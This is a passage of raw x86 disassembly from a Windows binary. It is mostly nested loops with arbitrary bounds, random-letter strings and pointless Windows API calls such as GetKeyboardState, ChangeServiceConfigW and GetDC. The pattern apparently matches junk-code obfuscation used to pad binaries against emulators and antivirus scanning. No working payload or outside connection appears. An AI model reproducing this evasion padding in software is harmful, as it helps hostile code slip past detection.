jge 0x461166
push dword [ebp - 0x754]
call fcn.00482ed5
pop ecx
jmp 0x461182
or dword [ebp - 4], 0xffffffff
jmp 0x46118c
mov dword [ebp - 0x7a8], str.iinntua_ekvfgmsu_sepzcy_fidpky
cmp dword [ebp - 0x4f0], 0x42d6
jle 0x461878
mov dword [ebp - 0x574], 0x5452
mov dword [ebp - 0xa08], str.rjhfklpq_qiw_akjwggybm_xhrp_syfmpswbd_atxp_krfparcsz_vxr_nranhv_ivngz_hwdj_mhs
cmp dword [ebp - 0x574], 0x5813
jle 0x461299
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
and dword [ebp - 0x354], 0
jmp 0x4611e8
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x936
jge 0x461299
and dword [ebp - 0x1e4], 0
jmp 0x46120e
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x442b
jge 0x461294
and dword [ebp - 0x46c], 0
jmp 0x461230
mov eax, dword [ebp - 0x46c]
inc eax
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0x74c3
jge 0x46128f
mov eax, dword [ebp - 0x354]
or eax, dword [ebp - 0x1e4]
or eax, dword [ebp - 0x46c]
cdq
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], edx
push dword [ebp - 0x704]
push dword [ebp - 0x708]
lea ecx, [ebp - 0xb98]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xb98]
call fcn.004026e0
jmp 0x461223
jmp 0x461201
jmp 0x4611db
push 0xb50
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov dword [ebp - 4], 0x52
cmp dword [ebp - 0x574], 0x53f0
jge 0x4612ca
push dword [ebp - 0xa08]
call fcn.00482ed5
pop ecx
jmp 0x4612e6
or dword [ebp - 4], 0xffffffff
jmp 0x4612f0
mov dword [ebp - 0x584], 0x14de
mov dword [ebp - 0xa10], str.umcifg_ocmgkrowx_irbpy_hzvxln_ywabk_htelz_mbcermlfb_egzkfm
cmp dword [ebp - 0x584], 0x15bf
jle 0x4613bf
and dword [ebp - 0x1ec], 0
jmp 0x46132a
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x3a5e
jge 0x4613bf
and dword [ebp - 0x35c], 0
jmp 0x461350
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x6697
jge 0x4613ba
and dword [ebp - 0x1f4], 0
jmp 0x461372
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x76c9
jge 0x4613b8
mov eax, dword [ebp - 0x1ec]
cdq
idiv dword [ebp - 0x35c]
or edx, dword [ebp - 0x1f4]
mov eax, edx
cdq
mov dword [ebp - 0x714], eax
mov dword [ebp - 0x710], edx
push dword [ebp - 0x710]
push dword [ebp - 0x714]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x461365
jmp 0x461343
jmp 0x46131d
and dword [ebp - 0x374], 0
jmp 0x4613d5
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x74d2
jge 0x46182f
and dword [ebp - 0x41c], 0
jmp 0x4613fb
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0x3b76
jge 0x46182a
mov dword [ebp - 0x5ec], 0x2cc3
mov dword [ebp - 0x76c], str.gknah_saxcttews_sakljg_qeetp_dtxkfc
cmp dword [ebp - 0x5ec], 0x30a9
jle 0x4614d7
and dword [ebp - 0x414], 0
jmp 0x461445
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0x1813
jge 0x4614d7
and dword [ebp - 0x1fc], 0
jmp 0x46146b
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x38d9
jge 0x4614d2
and dword [ebp - 0x364], 0
jmp 0x46148d
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x2649
jge 0x4614d0
mov eax, dword [ebp - 0x414]
add eax, dword [ebp - 0x1fc]
xor eax, dword [ebp - 0x364]
cdq
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], edx
push dword [ebp - 0x71c]
push dword [ebp - 0x720]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x461480
jmp 0x46145e
jmp 0x461438
and dword [ebp - 0x21c], 0
jmp 0x4614ed
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x703f
jge 0x4617dc
mov dword [ebp - 0x57c], 0x7ad3
mov dword [ebp - 0xa98], str.lzqlcrk_sjlou_jbspagty_cybiuyfd_nhjskkcd_zhvriqs_yhnewss_idy_mwgils_ktjtro_ivzlpzy_eqih
cmp dword [ebp - 0x57c], 0x7b38
jle 0x4615cc
and dword [ebp - 0x204], 0
jmp 0x461537
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x5192
jge 0x4615b8
and dword [ebp - 0x49c], 0
jmp 0x461559
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0x5935
jge 0x4615b3
mov eax, dword [ebp - 0x204]
imul eax, dword [ebp - 0x49c]
cdq
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x728], edx
push dword [ebp - 0x728]
push dword [ebp - 0x72c]
lea ecx, [ebp - 0xbc8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xbc8]
call fcn.004026e0
jmp 0x46154c
jmp 0x46152a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
and dword [ebp - 0x224], 0
jmp 0x4615e2
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x7578
jge 0x461792
mov dword [ebp - 0x63c], 0x267a
mov dword [ebp - 0x760], str.lcajkl_gafvjziq_tzsy
cmp dword [ebp - 0x63c], 0x26cb
jle 0x46170d
and dword [ebp - 0x214], 0
jmp 0x46162c
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x2fa6
jge 0x4616df
and dword [ebp - 0x20c], 0
jmp 0x461652
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x41d0
jge 0x4616da
and dword [ebp - 0x36c], 0
jmp 0x461674
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x44d2
jge 0x4616d5
mov ecx, dword [ebp - 0x20c]
sub ecx, dword [ebp - 0x36c]
mov eax, dword [ebp - 0x214]
shl eax, cl
cdq
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], edx
push dword [ebp - 0x734]
push dword [ebp - 0x738]
lea ecx, [ebp - 0xbf8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xbf8]
call fcn.004026e0
jmp 0x461667
jmp 0x461645
jmp 0x46161f
push 0
push 0x1cbb
push 0
push 0
push 0x1190
push 0x1663
push 0xde6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
mov eax, dword [ebp - 0x41c]
sub eax, dword [ebp - 0x21c]
or eax, dword [ebp - 0x374]
or eax, dword [ebp - 0x224]
cdq
mov dword [ebp - 0x744], eax
mov dword [ebp - 0x740], edx
mov dword [ebp - 4], 0x54
cmp dword [ebp - 0x63c], 0x24a6
jge 0x461751
push dword [ebp - 0x760]
call fcn.00482ed5
pop ecx
jmp 0x46176d
or dword [ebp - 4], 0xffffffff
jmp 0x461777
push dword [ebp - 0x740]
push dword [ebp - 0x744]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4615d5
mov dword [ebp - 4], 0x56
cmp dword [ebp - 0x57c], 0x7a1f
jge 0x4617b1
push dword [ebp - 0xa98]
call fcn.00482ed5
pop ecx
jmp 0x4617cd
or dword [ebp - 4], 0xffffffff
jmp 0x4617d7
jmp 0x4614e0
mov dword [ebp - 4], 0x58
cmp dword [ebp - 0x5ec], 0x29e9
jge 0x4617ff
mov edx, dword [ebp - 0x76c]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x46181b
or dword [ebp - 4], 0xffffffff
jmp 0x461825
jmp 0x4613ee
jmp 0x4613c8
mov dword [ebp - 4], 0x5a
cmp dword [ebp - 0x584], 0x14d1
jge 0x461852
mov edx, dword [ebp - 0xa10]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x46186e
or dword [ebp - 4], 0xffffffff
jmp 0x461878
cmp dword [ebp - 0x14], 2
jne 0x46222d
mov dword [ebp - 0x624], 0x390a
mov dword [ebp - 0x778], str.cbygl_avmhdeo_ekujp_yfmdurbr_attzi_ujfxhfeg_ccsairo_ltzjyuzkc_rufbii_tnabpg_vurfajr
cmp dword [ebp - 0x624], 0x3bc5
jle 0x461989
and dword [ebp - 0x474], 0
jmp 0x4618bc
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0x7a47
jge 0x461989
and dword [ebp - 0x22c], 0
jmp 0x4618e2
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x15ef
jge 0x461984
and dword [ebp - 0x37c], 0
jmp 0x461908
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x39cb
jge 0x46197f
and dword [ebp - 0x234], 0
jmp 0x46192a
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x4170
jge 0x46197a
mov eax, dword [ebp - 0x474]
cdq
idiv dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x37c]
shl edx, cl
mov ecx, dword [ebp - 0x234]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], edx
push dword [ebp - 0x74c]
push dword [ebp - 0x750]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46191d
jmp 0x4618fb
jmp 0x4618d5
jmp 0x4618af
mov dword [ebp - 0x4d8], 0x12d
mov dword [ebp - 4], 0x5c
cmp dword [ebp - 0x624], 0x369d
jge 0x4619b6
mov edx, dword [ebp - 0x778]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4619d2
or dword [ebp - 4], 0xffffffff
jmp 0x4619dc
mov dword [ebp - 0x58c], 0x5091
mov dword [ebp - 0xafc], str.zhchajjp_wgnngqtjg_hvvfn_qqoyo_tttr_bcjkysho_hxsovwjlf
cmp dword [ebp - 0x58c], 0x53fc
jle 0x461af2
and dword [ebp - 0x384], 0
jmp 0x461a16
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x4411
jge 0x461ade
and dword [ebp - 0x424], 0
jmp 0x461a3c
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0x7fb6
jge 0x461ad9
and dword [ebp - 0x23c], 0
jmp 0x461a62
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x730e
jge 0x461ad4
and dword [ebp - 0x244], 0
jmp 0x461a84
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x4de3
jge 0x461ad2
mov eax, dword [ebp - 0x424]
cdq
idiv dword [ebp - 0x23c]
mov eax, dword [ebp - 0x384]
mov ecx, edx
shl eax, cl
or eax, dword [ebp - 0x244]
cdq
mov dword [ebp - 0x75c], eax
mov dword [ebp - 0x758], edx
push dword [ebp - 0x758]
push dword [ebp - 0x75c]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x461a77
jmp 0x461a55
jmp 0x461a2f
jmp 0x461a09
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov dword [ebp - 0xaa4], str.letipnv_qfzqrp_pdtwzmh_eod_ggeh_wsf_stk_iilleyno
mov dword [ebp - 4], 0x5e
cmp dword [ebp - 0x58c], 0x4ccf
jge 0x461b1f
mov edx, dword [ebp - 0xafc]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x461b3b
or dword [ebp - 4], 0xffffffff
jmp 0x461b45
cmp dword [ebp - 0x4d8], 0x447
jle 0x461ea4
and dword [ebp - 0x394], 0
jmp 0x461b6b
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x4aa1
jge 0x461ea4
mov dword [ebp - 0x594], 0x64ed
mov dword [ebp - 0xa18], str.ajc_dbgks_rywiz_rhx_tjgm_ppcc_akjxujv_lhrvh_rwkri
cmp dword [ebp - 0x594], 0x6787
jle 0x461c7d
and dword [ebp - 0x4b4], 0
jmp 0x461bb5
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0x63d9
jge 0x461c7d
and dword [ebp - 0x24c], 0
jmp 0x461bdb
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0xb21
jge 0x461c78
and dword [ebp - 0x38c], 0
jmp 0x461c01
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0x7162
jge 0x461c73
and dword [ebp - 0x254], 0
jmp 0x461c23
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x4e7e
jge 0x461c71
mov eax, dword [ebp - 0x4b4]
imul eax, dword [ebp - 0x24c]
mov edx, dword [ebp - 0x38c]
mov ecx, dword [ebp - 0x254]
shl edx, cl
xor eax, edx
cdq
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], edx
push dword [ebp - 0x764]
push dword [ebp - 0x768]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x461c16
jmp 0x461bf4
jmp 0x461bce
jmp 0x461ba8
and dword [ebp - 0x42c], 0
jmp 0x461c93
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x594a
jge 0x461e56
and dword [ebp - 0x25c], 0
jmp 0x461cb9
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x4604
jge 0x461e51
mov eax, dword [ebp - 0x42c]
and eax, dword [ebp - 0x25c]
or eax, dword [ebp - 0x394]
cdq
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], edx
mov dword [ebp - 0x5f4], 0x3207
mov dword [ebp - 0x784], str.vxhlxfk_eqiolcfrj_sxc_fhz_xwitsr_lpcp_swakzyby_jwfrwrve_wwonts_uzneekttx_zlkraogo_nefjanyg
cmp dword [ebp - 0x5f4], 0x3320
jle 0x461dd5
and dword [ebp - 0x264], 0
jmp 0x461d22
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x68cc
jge 0x461dd5
and dword [ebp - 0x47c], 0
jmp 0x461d48
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 0x213e
jge 0x461dd0
and dword [ebp - 0x26c], 0
jmp 0x461d6a
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x1308
jge 0x461dcb
mov eax, dword [ebp - 0x264]
imul eax, dword [ebp - 0x47c]
imul eax, dword [ebp - 0x26c]
cdq
mov dword [ebp - 0x774], eax
mov dword [ebp - 0x770], edx
push dword [ebp - 0x770]
push dword [ebp - 0x774]
lea ecx, [ebp - 0xc28]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xc28]
call fcn.004026e0
jmp 0x461d5d
jmp 0x461d3b
jmp 0x461d15
push dword [ebp - 0x77c]
push dword [ebp - 0x780]
lea ecx, [ebp - 0xc58]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xc58]
call fcn.004026e0
mov dword [ebp - 4], 0x60
cmp dword [ebp - 0x5f4], 0x2e8c
jge 0x461e26
push dword [ebp - 0x784]
call fcn.00482ed5
pop ecx
jmp 0x461e42
or dword [ebp - 4], 0xffffffff
jmp 0x461e4c
jmp 0x461cac
jmp 0x461c86
mov dword [ebp - 4], 0x62
cmp dword [ebp - 0x594], 0x64d5
jge 0x461e79
mov edx, dword [ebp - 0xa18]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x461e95
or dword [ebp - 4], 0xffffffff
jmp 0x461e9f
jmp 0x461b5e
mov dword [ebp - 0x4d0], 0x3fbf
mov dword [ebp - 0x790], str.thm_pvt_ekafvrp_spt_tszeqzud_knulbjd_ywinbbhk_zsya_nltoaxsao_jzbbh_ofgvy_abnvc_kyrulybn
cmp dword [ebp - 0x4d0], 0x412b
jle 0x461f61
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1af5
push 0x1fdd
push 0x1470
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
and dword [ebp - 0x18], 0
jmp 0x461efa
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x2c94
jge 0x461f48
and dword [ebp - 0x1c], 0
jmp 0x461f10
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x4ae7
jge 0x461f46
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
shl eax, cl
cdq
mov dword [ebp - 0x78c], eax
mov dword [ebp - 0x788], edx
push dword [ebp - 0x788]
push dword [ebp - 0x78c]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x461f09
jmp 0x461ef3
push 0x9a
push 0
push 0x1d79
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045158d
pop ecx
mov dword [ebp - 4], 0x64
cmp dword [ebp - 0x4d0], 0x3da0
jge 0x461f8f
mov edx, dword [ebp - 0x790]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x461fab
or dword [ebp - 4], 0xffffffff
jmp 0x461fb5
mov dword [ebp - 4], 0x66
mov dword [ebp - 0x4e8], 0xf1d
mov dword [ebp - 0xa20], str.kcmzk_sfwmhs_hiykdyx_ujocg
cmp dword [ebp - 0x4e8], 0xfba
jle 0x46209d
and dword [ebp - 0x30], 0
jmp 0x461fed
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x3c63
jge 0x46209d
and dword [ebp - 0x20], 0
jmp 0x462007
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x162
jge 0x462098
and dword [ebp - 0x28], 0
jmp 0x462021
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x45d3
jge 0x462093
and dword [ebp - 0x38], 0
jmp 0x462037
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x4726
jge 0x462091
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
sar eax, cl
mov ecx, dword [ebp - 0x38]
sar eax, cl
cdq
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x794], edx
push dword [ebp - 0x794]
push dword [ebp - 0x798]
lea ecx, [ebp - 0xc88]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xc88]
call fcn.004026e0
jmp 0x462030
jmp 0x46201a
jmp 0x462000
jmp 0x461fe6
cmp dword [ebp - 0x4d8], 0xffffff87
jge 0x4621bf
mov dword [ebp - 0x4e0], 0x4289
mov dword [ebp - 0x79c], str.qkpw_veyziv_rnlbfoarr_zsgfho_cuwca_xlcsvehi_tcrzg_wtugqdtd_iziu_hbckfjxo
cmp dword [ebp - 0x4e0], 0x4559
jle 0x46216b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
and dword [ebp - 0x40], 0
jmp 0x4620e5
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x3909
jge 0x46216b
and dword [ebp - 0x48], 0
jmp 0x4620fb
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x3819
jge 0x462166
and dword [ebp - 0x50], 0
jmp 0x462111
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x50a4
jge 0x462164
mov eax, dword [ebp - 0x40]
xor eax, dword [ebp - 0x48]
xor eax, dword [ebp - 0x50]
cdq
mov dword [ebp - 0x7a4], eax
mov dword [ebp - 0x7a0], edx
push dword [ebp - 0x7a0]
push dword [ebp - 0x7a4]
lea ecx, [ebp - 0xcb8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xcb8]
call fcn.004026e0
jmp 0x46210a
jmp 0x4620f4
jmp 0x4620de
push dword [ebp - 0xaa4]
call fcn.00482ed5
pop ecx
mov byte [ebp - 4], 0x67
cmp dword [ebp - 0x4e0], 0x3f28
jge 0x462193
push dword [ebp - 0x79c]
call fcn.00482ed5
pop ecx
jmp 0x4621af
mov dword [ebp - 4], 0x66
jmp 0x4621bf
mov byte [ebp - 4], 0x69
cmp dword [ebp - 0x4e8], 0xd15
jge 0x4621db
push dword [ebp - 0xa20]
call fcn.00482ed5
pop ecx
jmp 0x4621f7
mov dword [ebp - 4], 0x66
jmp 0x462207
jmp 0x462223
or dword [ebp - 4], 0xffffffff
jmp 0x46222d
mov dword [ebp - 0x508], 0x757c
mov dword [ebp - 0xa2c], str.zuqnmmycj_zbcfwzgbn_kaxrnilrs_zrruh_evijn_mkqiy
cmp dword [ebp - 0x508], 0x75c8
jle 0x4622a8
and dword [ebp - 0x58], 0
jmp 0x46225a
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x2c36
jge 0x4622a8
and dword [ebp - 0x60], 0
jmp 0x462270
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x33fe
jge 0x4622a6
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x60]
sar eax, cl
cdq
mov dword [ebp - 0x7b0], eax
mov dword [ebp - 0x7ac], edx
push dword [ebp - 0x7ac]
push dword [ebp - 0x7b0]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x462269
jmp 0x462253
mov dword [ebp - 4], 0x6c
mov dword [ebp - 0x4f8], 0x4447
mov dword [ebp - 0xadc], str.lnjxhi_hglxtcndk_sunwwyhrx_tcfbaozbd_okeoghhya_yevwdkl_yccufufr_gxchddrd_ydfqvv_zlah_boy_lxsmqydl
cmp dword [ebp - 0x4f8], 0x4566
jle 0x462366
and dword [ebp - 0x78], 0
jmp 0x4622e0
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x26fb
jge 0x462366
and dword [ebp - 0x68], 0
jmp 0x4622f6
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x2d17
jge 0x462361
and dword [ebp - 0x70], 0
jmp 0x46230c
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x123e
jge 0x46235f
mov eax, dword [ebp - 0x68]
sub eax, dword [ebp - 0x70]
and eax, dword [ebp - 0x78]
cdq
mov dword [ebp - 0x7bc], eax
mov dword [ebp - 0x7b8], edx
push dword [ebp - 0x7b8]
push dword [ebp - 0x7bc]
lea ecx, [ebp - 0xce8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xce8]
call fcn.004026e0
jmp 0x462305
jmp 0x4622ef
jmp 0x4622d9
cmp dword [ebp - 0x4f0], 0x3ffe
jge 0x462382
mov edx, dword [ebp - 0x7a8]
mov ecx, 0xab96a0
call fcn.0047f6dc
mov byte [ebp - 4], 0x6d
cmp dword [ebp - 0x4f8], 0x4281
jge 0x46239e
push dword [ebp - 0xadc]
call fcn.00482ed5
pop ecx
jmp 0x4623ba
mov dword [ebp - 4], 0x6c
jmp 0x4623ca
jmp 0x462569
or dword [ebp - 4], 0xffffffff
jmp 0x462573
mov dword [ebp - 4], 0x72
cmp dword [ebp - 0x508], 0x7291
jge 0x462596
mov edx, dword [ebp - 0xa2c]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4625b2
or dword [ebp - 4], 0xffffffff
jmp 0x4625bc
cmp dword [ebp - 0x14], 3
jne 0x463016
mov dword [ebp - 0x540], 0x335c
mov dword [ebp - 0x510], 0xe5f
mov dword [ebp - 0x7c0], str.rix_qtmrsr_cpztgkieb_pmlnvc_rkjsh_nkwaljvg_iqc_afkyijhqr_cwgvgilz_sdd_dwbbzjbfq
cmp dword [ebp - 0x510], 0x109c
jle 0x4626bd
and dword [ebp - 0xa0], 0
jmp 0x46260a
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x4f7b
jge 0x4626bd
and dword [ebp - 0xa8], 0
jmp 0x462630
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x58b0
jge 0x4626b8
and dword [ebp - 0xb0], 0
jmp 0x462652
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x6633
jge 0x4626b3
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa8]
shl eax, cl
or eax, dword [ebp - 0xb0]
cdq
mov dword [ebp - 0x7d4], eax
mov dword [ebp - 0x7d0], edx
push dword [ebp - 0x7d0]
push dword [ebp - 0x7d4]
lea ecx, [ebp - 0xd48]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xd48]
call fcn.004026e0
jmp 0x462645
jmp 0x462623
jmp 0x4625fd
mov dword [ebp - 0x7e4], str.lhtptg_ncuydq_qukbrez_uosp_fchrl
mov dword [ebp - 4], 0x74
cmp dword [ebp - 0x510], 0xd56
jge 0x4626e6
push dword [ebp - 0x7c0]
call fcn.00482ed5
pop ecx
jmp 0x462702
or dword [ebp - 4], 0xffffffff
jmp 0x46270c
cmp dword [ebp - 0x540], 0x34d3
jle 0x462d0b
and dword [ebp - 0x120], 0
jmp 0x462732
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x7e6d
jge 0x462d0b
mov dword [ebp - 0x530], 0x534
mov dword [ebp - 0x7d8], str.jgem_yjnylq_efzbp_vyfre_tojcbn
cmp dword [ebp - 0x530], 0x6aa
jle 0x46284c
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
and dword [ebp - 0xb8], 0
jmp 0x462784
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x4ee7
jge 0x46284c
and dword [ebp - 0xc0], 0
jmp 0x4627aa
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x2c10
jge 0x462847
and dword [ebp - 0xc8], 0
jmp 0x4627d0
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x3643
jge 0x462842
and dword [ebp - 0xd0], 0
jmp 0x4627f2
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x1ed4
jge 0x462840
mov eax, dword [ebp - 0xb8]
cdq
